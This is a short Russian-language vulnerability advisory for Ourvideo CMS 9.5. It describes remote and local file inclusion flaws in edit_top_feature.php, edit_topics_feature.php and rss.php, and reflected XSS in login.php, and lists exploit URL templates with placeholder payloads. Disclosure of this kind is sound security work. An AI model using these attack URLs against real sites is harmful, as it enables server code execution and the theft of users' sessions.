Программа: Ourvideo CMS 9.5

Уязвимость позволяет удаленному пользователю произвести XSS нападение
выполнить произвольный PHP сценарий на целевой системе.

1) Уязвимость существует из-за недостаточной обработки входных данных в
параметре «include_connection» сценарием edit_top_feature.php и
edit_topics_feature.php и в параметре «prefix» сценарием rss.php. Удаленный
пользователь может выполнить произвольный PHP сценарий на целевой системе с
привилегиями Web сервера.

Эксплоит:

[RFI]

http://localhost/path/phpi/edit_top_feature.php?include_connection=[SHELL]
http://localhost/path/phpi/edit_topics_feature.php?include_connection=[SHELL]

[LFI]

http://localhost/path/phpi/rss.php?prefix=[LFI]

2) Уязвимость существует из-за недостаточной обработки входных данных
сценарием login.php. Атакующий может выполнить произвольный сценарий в браузере
жертвы в контексте безопасности уязвимого сайта.

Эксплоит:

http://localhost/path/phpi/login.php?top_page=[XSS]
http://localhost/path/phpi/login.php?end_page=[XSS]



Оставить мнение